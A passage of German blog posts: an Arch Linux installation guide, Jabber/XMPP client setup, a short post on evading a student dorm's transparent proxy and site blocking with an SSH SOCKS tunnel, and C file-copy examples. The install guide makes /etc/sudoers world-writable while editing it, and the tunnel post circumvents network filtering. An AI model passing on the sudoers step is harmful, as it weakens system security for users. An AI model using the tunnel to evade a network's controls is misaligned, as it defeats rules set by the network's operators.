Arch Linux – Installation

Warum sollte man Arch Linux verwenden?

Als erstes sei gesagt, dass diese Distribution nichts für Anfänger ist, ABER wenn man als Linux-User schon einige Erfahrungen mit der Kommandozeile gesammelt hat und z.B. Debian bereits ohne grafische Oberfläche installiert hat, kann man viel von diesem Linux-System lernen. Das “lernen” möchte ich an dieser Stelle noch einmal betonen, denn wer nichts über Linux lernen möchte und das System nur zum arbeiten nutzen möchte, der ist hier falsch. Das fängt bereits bei der Installation an, die ohne grafische Oberfläche daherkommt und das aus gutem Grund, denn wer an dieser Hürde bereits scheitert, sollte das System auch nicht nutzen. Momentan habe ich “Arch Linux” auf meinem normalen PC installiert (+ Windows7), auf meinem Netbook habe ich jedoch “Ubuntu 11.04” installiert, da es einfach out-of-the-box funktioniert und ich somit bisher noch keine großen Probleme damit hatte.

Die Philosophie von Arch Linux -> https://wiki.archlinux.org/index.php/The_Arch_Way -> Simplicity is the ultimate sophistication. (~ Höchste Verfeinerung mündet im Einfachen.) — Leonardo Da Vinci


Hier noch einige hilfreiche Links zur Installation:
https://wiki.archlinux.de/title/Anleitung_f%C3%BCr_Einsteiger
https://wiki.archlinux.de/title/Offizielle_Arch_Linux_Installations-Anleitung


Einleitung

In diesem HowTo beschreibe ich wie man Archlinux installiert und ggf. wenn dies gewünscht ist optimiert. Am Ende haben wir ein schnelles Linux-System, welches wir ganz nach unseren Wünschen anpassen können, mit der neusten Software ausgestattet ist und eine grafische Oberfläche hat. “Arch Linux” hat ein wunderschönes Wiki, welches sehr umfangreich ist und auch bei Problemen mit anderen Distributinen weiterhilft, jedoch kann man am Anfang ein wenig von den ganzen Infos erschlagen werden, daher schreibe ich auch gerade dieses HowTo. :-) (Ggf. kann man die Installatin auch im Vorfeld mithilfe von VirtualBox – http://www.virtualbox.org/ ausprobieren.)

Zu aller erst muss man sich das aktuelle Image von Arch Linux runterladen. -> http://ftp.hosteurope.de/mirror/ftp.archlinux.org/iso/latest/ <- anschließend die ISO auf eine CD brennen und es kann losgehen!


1.) Boot

Beim start der CD wählen wir folgenden Eintrag im Boot-Menü -> “Boot Arch Linux” …


arch_linux_grub
arch_linux_grub


2.) die Shell

… dann kommen wir zum nächsten Bildschirm und landen direkt in der Shell, hier führen wir folgenden Befehl aus, um das deutsche Tastaturlayout zu laden, nachdem wir uns per root eingeloggt haben. PS: die meisten Befehle funktionieren nicht nur unter Arch Linux ;-)


loadkeys de

[stextbox id=”info”]Tipp: y = z[/stextbox]

arch_linux_install_1
arch_linux_install_1

3.) Start der Installation

Als nächstes möchten wir die Installation starten …

/arch/setup

… und installieren das Grundsystem.

arch_linux_install_2
arch_linux_install_2


4.) Installationsquelle Auswählen

“Select Source”: Nun müssen wir auswähen, on wir die Daten von der CD-ROM oder Dateien aus dem Internet nutzen möchten, falls du die Net-Install-ISO heruntergeladen hast, wählst du “net” aus, ansonsten “cd”.


arch_linux_install_3
arch_linux_install_3

(mit “Cancel” kommt du immer einen Menü-Punkt zurück)


5.) Time

“Set clock”: Danach stellen wir das Datum und die Zeit ein.


6.) Festplatte vorbereiten

“Prepare Hard Drive(s)”: Nun müssen wir Partitione erstellen und festlegen, wo diese genutzt werden sollen (mountpoints) ggf. kann man zum erstellen der Partitionen auch im Vorfeld z.B. http://gparted.sourceforge.net/livecd.php verwenden.


arch_linux_install_4
arch_linux_install_4


6.1) “Auto-Prepare” : Wähle diese Option nur aus, wenn du allein “Arch Linux” auf einer Festplatte instllieren möchtest, da die automatische Partitionierung die vollständige Festplatte benutzt.


arch_linux_install_5
arch_linux_install_5


6.2) “Manually Partition Hard Drives”: Wähle diese Option, wenn du die Partitionen entweder bereits im Vorfeld angelegt bzw. diese nun anlegen möchtest. Es folgt meine akuelle Konfiguration


Windows_and_Linux
Windows_and_Linux


7.) Grundsystem auswählen

“Select Packages”: Hier wählen wir das Grundsystem (base) aus und unter dem Punnkt “base-devel” -> “wireless_tools”, falls du W-Lan nutzen möchtest.


arch_linux_install_11
arch_linux_install_11


8.) Grundsystem installieren

“Install Packages”: Nachdem wir diesen Punkt ausgewählt haben, wird das Grundsystem nun installiert.


9.) Grundsystem konfigurieren

“Configure System”: Kommen wir nun zur Konfiguration…


/etc/rc.conf:

Hier werden die meisten Grundeinstellungen vorgenommen, z.B. die Sprache und der Name des neuen Systems …

[...]
LOCALE="de_DE.UTF-8"
HARDWARECLOCK="localtime"
TIMEZONE="Europe/Berlin"
KEYMAP="de-latin1-nodeadkeys"
loadkeys de
[...]
HOSTNAME="ArchLinux"
[...]

Ggf. muss man noch andere Dinge im Netwerk-Bereich anpassen, z.B. falls “eth0” nicht das genutzte Netzwerk-Interface ist.

[stextbox id=”info”]Tipp: [strg] + [alt] + [f2] -> ifconfig[/stextbox]


/etc/fstab:

“In der Datei /etc/fstab sind alle Datenträger bzw. Partitionen eingetragen, die beim Systemstart automatisch eingehängt werden sollen [3]. Zusätzlich enthält fstab noch einige vom System/Kernel benötigte Dateisysteme. Außerdem kann man durch entsprechende Einträge in fstab das temporäre Einbinden von Datenträgern vorbereiten (siehe mount) und entfernte Dateisysteme oder Netzwerk-Freigaben statisch ins lokale Dateisystem einbinden (z.B. mit sshfs oder cifs).” – http://wiki.ubuntuusers.de/FSTAB


In dieser Datei musst du wahrscheinlich momentan nichts ändern, da “Arch Linux” die entsprechenden Einträge bereits gesetzt hat.


arch_linux_install_12
arch_linux_install_12


/etc/mkinitcpio.conf:

Diese Datei konfiguriert “initramfs” (http://de.wikipedia.org/wiki/Initramfs) und auch hier musst du nichts ändern.


/etc/resolv.conf:

Falls du statische IP-Adressen in deinem Netzwerk einsetzt und keinen DHCP-Server aktiv hast, musst du hier den zu nutzenden DNS-Server eintragen, falls dies nicht der Fall ist brauchst du auch diese Datei nicht ändern.


/etc/hosts:

Hier sollte “Arch Linux” bereits den Hostnamen, welcher unter “/etc/rc.conf” angegeben wurde automatisch eingetragern haben, falls dies nicht der Fall sein sollte, muss man dies wie folgt anpassen.


arch_linux_install_13
arch_linux_install_13

(ArchLinux durch deinen eigenen Hostnamen ersetzen)


/etc/hosts.deny & /etc/hosts.allow:

Diese Dateien sind nur hilfreich, wenn du einen SSH-Server auf dem PC installieren möchtest, denn hiermit kannst du bestimmte IP-Adressen ausspeere bzw. erlauben.


/etc/locale.gen:

In dieser Datei musst du einen Zeichensatz, am besten den deutschen freischalten, indem du das “#” am Anfang der Zeile entfernst…

[...]
de_DE.UTF-8 UTF-8
de_DE ISO-8859-1
de_DE@euro ISO-8859-15
[...]


/etc/pacman.conf:

Pacman ist der Paket-Manager von “Arch Linux”, vergleichbar mit apt-get von Debian/Ubuntu und mithilfe dieser Datei kann man das Programm Konfigurieren, z.B. welche Quellen zur Verfügung stehen: [core], [extra], and [community]. Wenn du gerade ein 64-Bit System installierst, solltest du auch noch [multilib] freischalten, indem du diese einkommentierst. Ggf. kann man auch noch [testing] hinzufügen, aber wie der Name schon sagt, sind diese Quellen zum testen und nicht zum arbeiten gedacht.

[...]
SyncFirst = pacman kernel26-headers
Architecture = auto
[...]
#[testing]
#Include = /etc/pacman.d/mirrorlist
[core]
Include = /etc/pacman.d/mirrorlist
[extra]
Include = /etc/pacman.d/mirrorlist
[community]
Include = /etc/pacman.d/mirrorlist
#[community-testing]
#Include = /etc/pacman.d/mirrorlist
[multilib]
Include = /etc/pacman.d/mirrorlist
[...]

weiter Infos zu “pacman.con” findest du unter: http://www.archlinux.org/pacman/pacman.conf.5.html


/etc/pacman.d/mirrorlist:

In dieser Datei gibt man an, von welchem Spiegel-Server Pacman die Daten nun wirklich laden soll. Da wir aus Deutschland die Server in Deutschland wahrscheinlich schneller erreichen als im Ausland, schalten wir einige der Server unter “Germany” frei, indem wir diese einkommentieren. Später können wir mithilfe des Scripts “rankmirrors” (https://wiki.archlinux.org/index.php/Beginners’_Guide#.2Fetc.2Fpacman.d.2Fmirrorlist) die Server herausfinden, welche wirklich für uns am schnellsten sind oder ggf. auch die Quellen hier generieren lassen: http://www.archlinux.org/mirrorlist/


Sobald du die Konfiguration abgeschlossen hast, musst du unten in diesem Menü das Root-Passwort und deine Änderungen mit “Done” bestätigen.


arch_linux_install_14
arch_linux_install_14


10.) der Bootlaoder (GRUB)

“Install Bootloader”: Es kommt natürlich darauf an, was du zuvor konfiguriert hast, jedoch will man meistens den aktuellen Bootloader ersetzen. Standard: /dev/sda (sda wäre hier die Festplatte auf die Arch installiert ist) ggf. Hilfe der folgede kleie Text um zu verstehen, wohin man den Bootloader installieren muss. -> http://suckup.de/blog/2011/01/25/der-bootvorgang-wie-faehrt-ein-pc-hoch/


11.) Installation beenden

“exit”: Nachdem der Bootloader erfolgreich installiert wurde, beenden wir die Installation und starten das System neu (reboot)


arch_linux_install_15
arch_linux_install_15


12.) Start & Update

Nun starten wir unser Arch Linux und laden in der Kommandozeile, da wir bisher noch nichts weiter installiert haben. :-) Als nächstes führen wir ein Update mithilfe des folgeden Befehls aus.

pacman -Syu


arch_linux_install_16
arch_linux_install_16


13.) User anlegen + sudo-Rechte gewähren

useradd -m -g users -G audio,lp,optical,storage,video,wheel,games,power -s /bin/bash USERNAME

… und “USERNAME” durch deinen eigentlichen User-Namen ersetzten. Hier folgen weiter Infos zu den Gruppen (audio,lp,optical…) : https://wiki.archlinux.org/index.php/Groups


arch_linux_install_17
arch_linux_install_17

Als nächstes vergeben wir ein passwort für den neuen User…

passwd USERNAME

… und installieren nun “sudo”, so dass man als normaler User Programme mit Root-Rechten ausführen kann, wenn dies gefordert ist.

pacman -S sudo

[stextbox id=”info”]Tipp: pacman -Ss sudo -> sucht nach dem Paket sudo[/stextbox]


Nun müssen wir noch z.B. einer der angegebenen Gruppen sudo-Rechte erteilen…

chmod o+w /etc/sudoers
vi /etc/sudoers
chmod o-w /etc/sudoers
su USERNAME
sudo su


sudoers
sudoers


[stextbox id=”info”]Tipp: man kann auch z.B. nano anstatt vi verwenden oder vim nachinstallieren (pacman -S vim)[/stextbox]


14.) Sound: installiere ALSA

Bevor wir wir jedoch ALSA installieren benötigen wir folgedne Info …

cat /proc/asound/modules

(Ausgabe: z.B. 0 snd_intel8x0)


… und editieren anschließend folgende Datei, um unsere Sound-Karte hinzuzufügen.

vim /etc/modprobe.d/modprobe.conf

(z.B. options snd slots=snd-intel8x0,snd-pcsp)


Nun können wir Alsa installieren …

pacman -S alsa-utils alsa-oss

… danach starten wir “alsamixer” als normaler User (nicht root) …

su USERNAME
alsamixer


arch_linux_install_18
arch_linux_install_18


… mit [ESC] beenden wir alsamixer und werden wieder root [Strg + D] (logout USERNAME -> zurück zu root) und speichern diese Einstellungen mit dem folgendem Befehl ab.

alsactl store


Nun müssen wir den Dienst noch in der Konfig eintragen, so dass Alsa auch gestartet wird.

vim /etc/rc.conf
[...]
DAEMONS=(syslog-ng network netfs crond alsa)
[...]


weitere Infos zu ALSA: https://wiki.archlinux.org/index.php/ALSA


15.) Desktop installieren: Xorg

Hier müssen wir als erstes Xorg per pacman installieren …

pacman -S xorg

[stextbox id=”info”]Tipp: das Paket “mesa” wird ebenfalls benötig, falls du 3D-Effekte nutzen willst[/stextbox]


… und wir müssen die Grafikkarten-Treiber installiern – ich habe dies per “Yaourt” installiert, da dieses Programm auch auf die “Arch User Repository” (https://wiki.archlinux.org/index.php/AUR) zurückgreifen kann. Wir schauen mit “lspci” nach welche Grafikkarte wir haben.

z.B.:

lspci | grep VGA

01:05.0 VGA compatible controller: ATI Technologies Inc RS880 [Radeon HD 4250]

Und installieren demensprechend den gewünschten Treiber, doch zuvor installieren wir noch “Yaourt” (http://archlinux.fr/yaourt-en#get_it) – die bereits erwähnten AUR-Pakete haben keinen Support, installation auf eigene Gefahr!

pacman -S base-devel
vim /etc/pacman.conf
[...]
[archlinuxfr]
Server = http://repo.archlinux.fr/x86_64
#Server = http://repo.archlinux.fr/i686
[...]
pacman -Sy yaourt
sudo yaourt ati amd | grep install

13 aur/catalyst-hook 10.12-1 [installed] (37)
23 aur/catalyst-utils 10.12-1 [installed] (147)

z.B.: suche Pakete für ATI:

yaourt -Ss ati amd

[stextbox id=”info”]Tipp: yaourt – es wird zudem angezeigt, wie viele Leute das jeweillige Paket nutzen und welche Pakete nicht mehr aktuell sind[/stextbox]

z.B.: installere Pakete für ATI:

yaourt -Sa catalyst-hook catalyst-utils
pacman -S kernel26 kernel26-headers
aticonfig --initial --input=/etc/X11/xorg.conf
vim /etc/X11/xorg.conf
[...]
Section "Device"
Identifier "aticonfig-Device[0]-0"
Driver "fglrx"
BusID "PCI:1:5:0"
Option "DRI" "true"
EndSection
[...]

weitere Infos zu Xorg: https://wiki.archlinux.de/title/Xorg

weitere Infos zu Nvidia: https://wiki.archlinux.de/title/Nvidia

weitere Infos zu ATI/AMD:https://wiki.archlinux.de/title/ATI


16.) Desktop installieren: Input

pacman -S xf86-input-keyboard xf86-input-mouse

ggf. muss bei Laptops noch folgendes Paket installiert werden …

pacman -S xf86-input-synaptics


17.) Desktop installieren: Gnome

pacman -S ttf-dejavu
yaourt -Sa ttf-ms-fonts

ggf. kann man auch noch die 3D-Effekte für Gnome installieren … (https://wiki.archlinux.org/index.php/Compiz)

pacman -S gnome gnome-extra gnome-system-tools
pacman -S compiz-fusion-gtk

Und noch ein neuer Dienst wird beim Boot gestartet…

[stextbox id=”info”]Tipp: mit @ werden die Dienste im hintergrund ausgeführt[/stextbox]

vim /etc/rc.conf
DAEMONS=(syslog-ng dbus hal network netfs crond alsa gdm)

Nun einmal neustarten und …

reboot

… zu guter letzt Compiz noch im autostart von Gnome unterbringen.

cd ~/.config/autostart/
vim compiz.real.desktop
[Desktop Entry]
Comment=
Name=compiz - 3D Desktop
Exec=/usr/bin/compiz --ignore-desktop-hints --replace move resize place decorati
Name[de_DE]=compiz - 3D Desktop
Comment[de_DE]=
Hidden=false
Type=Application
X-GNOME-Autostart-enabled=true


Nun sollte dein neues Linux-System “gdm” -> “Gnome” -> “Compiz” -> “Emerald” starten… und die Installation wäre somit geschafft. ;-)


18.) Optimierungen

Hier möchte ich kurz einige Dinge zeigen, welche nicht mehr zur Installation gehören! Wer weitere Hilfe benötig, sollte sich einmal das ArchLinux-Wiki genauer anschauen: https://wiki.archlinux.de/


neuer Kernel: (http://liquorix.net/)

sudo yaourt -Sa kernel26-lqx


NTFS-Unterstützung:

sudo yaourt -S ntfs-3g


Schlanke E-Mail Client + gute Plugins: (http://suckup.de/blog/2010/02/13/fast-mail-client-claws-mail/)

sudo yaourt -S claws-mail claws-mail-extra-plugins


Schneller Browser: (portiert von Ubuntu [ppa] zu ArchLinux)

sudo yaourt -Sa chromium-browser-ppa
sudo yaourt -Sa chromium-browser-l10n-ppa chromium-browser-inspector-ppa chromium-codecs-ffmpeg-extra-ppa


Eine neue Shell – alternative zu Bash: (http://suckup.de/blog/2010/09/17/zshrc/)

pacman -S zsh
chsh -s /bin/zsh `whoami`


Recompile Archlinux: (+CFlags)

sudo yaourt -Sa pacbuilder-svn


Nun müssen wir einige Prozessorspezifische Infos suchen, dazu müssen wir jedoch erst einmal wissen, welchen Prozessor wir genau haben…

cat /proc/cpuinfo

oder

sudo yaourt -Sa cpu-g

und hier findest du die Infos. :-)

http://en.gentoo-wiki.com/wiki/Safe_Cflags & http://www.gentoo.org/doc/en/gcc-optimization.xml


Mit dem nächsten Befehl, können wir schaue, welche FLAGS bisher gesetzt sind…

sudo grep -R CFLAGS /etc/

… und tragen die neuen FLAGS in der folgenden Datei ein.

vim /etc/pacbuilder.conf

z.B.:

[...]

CHOST="x86_64-pc-linux-gnu"
CFLAGS="-march=amdfam10 -O2 -pipe"
CXXFLAGS="${CFLAGS}"
LDFLAGS="-Wl,--hash-style=gnu -Wl,--as-needed"
#-- Make Flags: change this for DistCC/SMP systems
MAKEFLAGS="-j4"


Der nächste Befehl baut (compiliert) nun alle Pakete angepasst für dein System neu.

sudo pacbuilder -v --world

Jabber – XMPP + StudiVZ – Facebook

Was ist Jabber?

XMPP (früher Jabber) ist ein Nachrichten-Protokoll (Instant Messaging), so dass heute eigentlich niemand mehr auf ICQ, MSN etc. angewiesen ist. Es gibt viele Servern (z.B. jabber.ccc.de oder jabber.org) welche Jabber nutzen, bei diesen Servern kann man sich kostenlos einen Account erstellen und damit auch Kontakten auf anderen Jabber-Servern kontaktieren. Es gibt viele Vorteile gegenüber proprietären Lösungen, z.B. kann man die Kommunikation verschlüsseln, man kann seinen eigenen Jabber-Server installieren, man kann Chat-räume (mit Passwortschutz) anlegen, sich mehrfach anmelden und fast jeder hat bereits einen Jabber-Account (auch wenn es die wenigsten wissen). Ich will an dieser Stelle gar nicht weiter auf die Vor- und Nachteile eingehen, dass haben andere bereits getan. -> blog.jbbr.net/against-icq/ & de.wikipedia.org/wiki/ICQ#Kritik


Wer sich noch gar nicht nach einer Alternative zu ICQ umgesehen hat, sollte einmal auf der folgenden Webseite schauen, wie man ein Jabber kompatibles Chat-Programm installiert. -> einfachjabber.de/oslist

Und wer direkt im Browser chatten möchte, kann sich z.B. folgende Webseite anschauen www.meebo.com oder einen Jabber-Server nutzen, welcher einen Web-Chat anbietet. z.B.: -> www.ubuntu-jabber.de


Bei den Programmen muss man zwischen Programmen unterscheiden, welche voll auf Jabber ausgelegt sind (z.B. psi) und denen, wo man zusätzliche andere Protokolle nutzen kann (Multi-Protokoll-Clients). In Kombination mit einem dafür ausgelegtem Jabber-Server, welcher sogenannte Transports (Gateways) anbiete (leider tun dies aus rechtlichen Gründen nicht alle) kann man dann auch ICQ, AIM, Yahoo Messenger, MSN uvm. direkt über Jabber erreichen. Dabei sollte man jedoch beachten, dass eventuelle Änderungen z.B. von ICQ die Verbindung zwischen “PC” -> “Transport” -> “ICQ” behindern können. -> www.swissjabber.ch/index.php/Transports & de.wikipedia.org/wiki/XMPP-Transport



Jabber-Transport
Jabber-Transport



Hier noch eine Übersicht über einige Jabber-Server + Transports. So sieht man z.B. schnell, dass gmx-Server Transports anbietet. -> www.jabberes.org/servers/servers_by_times_online.html


Wer nutzt Jabber?

Wer bereits über eine Gmail (Google-Mail), GMX oder Web.de E-Mail Adresse verfügt kann diese Adresse als Jabber Account benutzen. Jeder der bei GMX oder Web.de angemeldet ist hat daher bereits einen Jabber-Account, Benutzername und Passwort sind identisch. Zudem benötigt man (normalerweise) nur eine Adresse, um mit allen anderen Jabber-Usern zu kommunizieren, somit ist man nicht mehr auf einen zentralen Server (Dienst) angewiesen. Normalerweise habe ich in Klammern geschrieben, da z.B. “Facebook” oder auch “StudiVZ / SchülerVZ / MeinVZ” Jabber anbieten, dies jedoch nicht nach dem Standard betreiben, so dass man zwar mit seinen Kontakten z.B. seinen Facebook-Freunden chatten kann,  jedoch nicht zu anderen Servern kommunizieren kann.



Jabber-Network
Jabber-Network


Wie nutze ich Jabber?

1.) Entscheidung

Wie bereits in der Einführung beschrieben, benötigen wir als erstes einen Client (Chat-Programm), daher müssen wir uns entscheiden, ob wir voll auf den Jabber-Dienst setzen und ICQ etc. über Transports erreichen oder ICQ etc. parallel im Client einrichten möchten. Positiv an den Transports ist, dass man (normalerweise) nur noch einen Account benötigt, die Verbindung zu anderen Accounts wie ICQ oder MSN erledigt dann der Jabber Server automatisch, nachdem man dies einmal eingestellt hat. Wie bereits beschrieben bieten dies jedoch nicht alle Jabber-Server bzw. Clients an. Falls du auf dieses Feature verzichtest, solltest du dir auch einmal den Client (Instant Messenger) “Pidgin” anschauen -> auf der folgenden Seite findest du eine Liste mit den unterstützten Protokollen und viele weitere Tipps zur Konfiguration, so kann man z.B. Twitter, Identi.ca oder auch Skype in Pidgin einbinden. -> wiki.ubuntuusers.de/pidgin


2.) Account anlegen

Um einen Account auf einem Server anzulegen, braucht man meistens nur den soeben erwähnten Client. Dann musst du dir einen Benutzernamen und eine Domain auf dem Server aussuchen, wobei die Domain meist vorgegeben ist. Die Kombination aus Benutzernamen und Domain wird dann deine persönliche Jabber ID (JID), mit der dich andere im Netzwerk anschreiben können. Aufgebaut ist eine JID ähnlich einer E-Mail Adresse, beispielsweise “voku@jabber.ccc.de”. Eine gute Anleitung findet man z.B. hier -> www.ubuntu-jabber.de/Konto-erstellen


3.) Account nutzen

Natürlich kann man auch andere Anbieter nutzen, welche Jabber-Dienste anbieten. Hier eine kleine Übersicht + Konfiguration.


GoogleTalk per Jabber:

Entweder man verwendet den Client von Google: GogleTalk (Windows XP oder höher erforderlich) oder einfach einen alternativen Client. (z.B.: Username@gmail.com)

  • Benutzer: Username
  • Domain: gmail.com bzw. googlemail.com
  • Jabber ID: Username@gmail.de
  • Passwort: “dein normales Google-Passwort”
  • Port: 5222 (Standard – muss ggf. nicht angegeben werden)


GMX per Jabber:

Wie bereits erwähnt bietet GMX, Transports (Gateways) in folgende Netze an z.B.: ICQ, Aim, MSN, Yahoo dies muss jedoch auch die Client-Software mitmachen.

Auch hier kann man wieder den hauseigenen Messenger nutzen: GMX-Messenger (Windows XP oder höher erforderlich) “einfach” installieren und loslegen, für andere Clients: (z.B.: Username@gmx.de)

  • Benutzer: Username
  • Domain: gmx.de bzw. gmx.net
  • Jabber ID: Username@gmx.de
  • Passwort: “dein normales GMX-Passwort”
  • Verbindungsserver: xmpp-gmx.gmx.net
  • Port: 5222 (Standard – muss ggf. nicht angegeben werden)


Web.de per Jabber:

Und auch hier kann man einen Windows-Client direkt von Web.de nutzen: WEB.DE-Messenger (Windows XP oder höher erforderlich) oder einen anderen Client nutzen. (z.B.: Username@web.de)

  • Benutzer: Username
  • Domain: web.de
  • Jabber ID: Username@web.de
  • Passwort: “dein normales Web.de-Passwort”
  • Verbindungsserver: xmpp-webde.gmx.net
  • Port: 5222 (Standard – muss ggf. nicht angegeben werden)


studiVZ & meinVZ per Jabber:

Der sogenannte “Plauderkasten” kann nun auch per Jabber direkt vom Desktop genutzt werden. :-) Aber wie gesagt, nicht zu anderen Jabber-Servern. -> developer.studivz.net/2010/06/30/xmpp-chat-beta/ (z.B.: test@test.de)

  • Benutzer: test\40test.de
  • Domain: vz.net
  • Jabber ID: test\40test.de@vz.net
  • Passwort: “dein normales vz-Passwort”
  • Verbindungsserver: jabber.vz.net
  • Port: 5222 (Standard – muss ggf. nicht angegeben werden)


schülerVZ per Jabber:

Der sogenannte “Plauderkasten” kann nun auch per Jabber direkt vom Desktop genutzt werden. :-) Aber wie gesagt, nicht zu anderen Jabber-Servern. -> developer.studivz.net/2010/06/30/xmpp-chat-beta/ (z.B.: test@test.de)

  • Benutzer: test\40test.de
  • Domain: schuelervz.net
  • Jabber ID: test\40test.de@schuelervz.net
  • Passwort: “dein normales vz-Passwort”
  • Verbindungsserver: jabber.schuelervz.net
  • Port: 5222 (Standard – muss ggf. nicht angegeben werden)


Facebook per Jabber:

Der “Facebook-Chat” kann ebenfalls per Jabber direkt vom Desktop genutzt werden, aber vorher muss man sich einen Nutzernamen aussuchen http://www.facebook.com/username/ (z.B.: lars.moelleken)

  • Benutzer: lars.moelleken
  • Domain: chat.facebook.com
  • Jabber ID: lars.moelleken@chat.facebook.com
  • Passwort: “dein normales facebook-Passwort”
  • Port: 5222 (Standard – muss ggf. nicht angegeben werden)


4.) Fertig

Chatten und hinzufügen von Kontakten funktioniert wie man dies bei ICQ etc. gewohnt ist, mit dem kleinen Unterschied, dass man die Nutzer Jabber IDs benutzt, also nutzer@server. An dieser Stelle möchte ich noch einmal darauf hinweisen, dass Facebook & VZ-Netzwerk einen geschlossenen Jabber-Dienst anbieten, so dass man nicht zu anderen Jabber-Servern kommunizieren kann.

transparenten Proxy per SSH umgehen

Ich hatte bereits einmal über das Thema “Ports via ssh weiterleiten” geschrieben, um z.B. pop3 oder smtp verschlüsselt zu nutzen. Heute zeige ich aus aktuellem Anlass, wie man mithilfe SSH einen transparenten Proxy im Netzwerk umgehen kann. Im Studentenwohnheim (Krefeld) ist jemand auf die glorreiche Idee gekommen alle Webseiten auf denen Filesharing betrieben werden kann, zu sperren.

z.B.: www.dropbox.com


Internet-Beschwerdestelle
Internet-Beschwerdestelle

(Tipp: mit “Alt” + “Druck” bekommt man einen Screenshot vom gewählten Fenster)


1.) Tunnel auf dem Client zum Server erstellen

Der folgende Befehl erstellt einen Socks kompatiblen Proxy per SSH-Tunnel. Wie im anderen Blog-Post beschrieben, kann man z.B. mit dem Parameter “-L” eine Verbindung zu einem anderen Proxy per SSH aufbauen.


ssh -D 3128 -fN user@server

(ssh -L 3128:proxyserver:3128 -fN user@proxyserver)


2.) SSH-Tunnel verwenden


Nun können wir einen neuen Proxy einstellen, unter Gnome …

System > Einstellungen > Netzwerk-Proxy

… als Socks-Rechner tragen wir nun “localhost” und den Port “3128” ein.


Bildschirmfoto-Netzwerk
Bildschirmfoto-Netzwerk


C-Programm – Dateien kopieren unter Linux

In dem Buch “Linux-Programmierung” habe ich einige interessante Beispiele zum kopieren von Dateien unter Linux gefunden.

#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>

int main() {
	char c;
	int in, out;

	// open - mit dem Systemaufruf open kann ein neuer Dateideskriptor erstellt werden
	// ---------------------
	// Modus -> Beschreibung
	// ---------------------
	// O_RDONLY -> nur zum lesen oeffnen
	// O_WONLY	-> nur zum schreiben oeffnen
	// O_RDWR	-> zum lesen und schreiben oeffnen
	// ---------------------
	// optionaler Modus -> Beschreibung
	// ---------------------
	// O_APPEND	-> am Ende der Datei schreiben
	// O_TRUNC	-> Inhalt der vorhandenen Datei wird geloescht
	// O_CREAT	-> erstellt die Datei mit Berechtigungen 
	// O_EXCL	-> stellt sicher, dass nicht zwei Programme
	//				die selbe Datei, zur gleichen Zeit erstellen 
	// ---------------------
	// Berechtigung -> Beschreibung
	// ---------------------
	// S_IRUSR 	-> Lesen, Eigentuemer (owner)
	// S_IWUSR	-> Schreiben, Eigentuemer (owner)
	// S_IXUSR	-> Ausfuehren, Eigentuemer (owner)
	// S_IRGRP	-> Lesen, Gruppe (group)
	// S_IWGRP	-> Schreiben, Gruppe (group)
	// S_IXGRP	-> Ausfuehren, Gruppe (group)
	// S_IROTH	-> Lesen, Andere (others)
	// S_IWOTH	-> Schreiben, Andere (others)
	// S_IXOTH	-> Ausfuehren, Andere (others)
	//
	// weitere Infos unter: man 2 open 
	//
	// 1 MB Datei erstellen -> dd if=/dev/zero of=file.in bs=1024 count=10240
	// 
	// Datei "file.in" zum lesen oeffnen
	in = open("file.in", O_RDONLY);
	// Datei "file.out" erstellen (Eigentuemer -> Lesen + Schreiben) 
	out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
	// Zeichen fuer Zeichen einlesen ...
	while(read(in,&c,1) == 1) {
		// ... und jedes Zeichen in die neue Datei schreiben
		write(out,&c,1);
	}
	exit(0);
}

Wir gehen in diesem Beispiel davon aus, dass die Datei “file.in” (10 MB) bereits vorhanden ist.

Test:

dd if=/dev/zero of=file.in bs=1024 count=10240
time ./copy_system

Ausgabe:

./copy_system  7,54s user 88,56s system 99% cpu 1:36,23 total

Wie wir sehen, dauerte der Kopiervorgang insgesamt ~ 1 1/2 Minuten, da wir die Datei Zeichen für Zeichen kopiert haben, im nächsten Beispiel werden jeweills 1024 Byte eingelesen und in die neue Datei geschrieben.

#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>

int main() {
	char block[1024];
	int in, out, nread;

	// open - mit dem Systemaufruf open kann ein neuer Dateideskriptor erstellt werden
	// ---------------------
	// Modus -> Beschreibung
	// ---------------------
	// O_RDONLY -> nur zum lesen oeffnen
	// O_WONLY	-> nur zum schreiben oeffnen
	// O_RDWR	-> zum lesen und schreiben oeffnen
	// ---------------------
	// optionaler Modus -> Beschreibung
	// ---------------------
	// O_APPEND	-> am Ende der Datei schreiben
	// O_TRUNC	-> Inhalt der vorhandenen Datei wird geloescht
	// O_CREAT	-> erstellt die Datei mit Berechtigungen 
	// O_EXCL	-> stellt sicher, dass nicht zwei Programme
	//				die selbe Datei, zur gleichen Zeit erstellen 
	// ---------------------
	// Berechtigung -> Beschreibung
	// ---------------------
	// S_IRUSR 	-> Lesen, Eigentuemer (owner)
	// S_IWUSR	-> Schreiben, Eigentuemer (owner)
	// S_IXUSR	-> Ausfuehren, Eigentuemer (owner)
	// S_IRGRP	-> Lesen, Gruppe (group)
	// S_IWGRP	-> Schreiben, Gruppe (group)
	// S_IXGRP	-> Ausfuehren, Gruppe (group)
	// S_IROTH	-> Lesen, Andere (others)
	// S_IWOTH	-> Schreiben, Andere (others)
	// S_IXOTH	-> Ausfuehren, Andere (others)
	//
	// weitere Infos unter: man 2 open 
	//
	// 1 MB Datei erstellen -> dd if=/dev/zero of=file.in bs=1024 count=10240
	// 
	// Datei "file.in" zum lesen oeffnen
	in = open("file.in", O_RDONLY);
	// Datei "file.out" erstellen (Eigentuemer -> Lesen + Schreiben) 
	out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
	// 1024 Byte werden eingelesen ...
	while((nread = read(in,block,sizeof(block))) > 0) {
		// ... und in die neue Datei geschrieben
		write(out,block,nread);
	}
	exit(0);
}

Test:

rm file.out
time ./copy_block 

Ausgabe:

./copy_block  0,01s user 0,15s system 98% cpu 0,158 total

Hier dauerte der gleiche Vorgang nur noch ~ 0,16 Sekunden. Daher nutzt man zum kopieren von ganzen Festplatten auch gerne “dd”! :-) Zum Schluss noch ein Beispiel, wo die Bibliothek (stdio.h) von C genutzt wurden.

#include <stdio.h>
#include <stdlib.h>

int main() {
	char c;
	FILE *in, *out;

	// fopen - oeffnet eine Datei 
	// ---------------------
	// Modus -> Beschreibung
	// ---------------------
	// r	-> nur zum lesen oeffnen
	// w	-> nur zum schreiben oeffnen
	// a	-> am Ende der Datei anhaengen
	// r+	-> zum Aktualisieren oeffnen (schreiben + lesen)
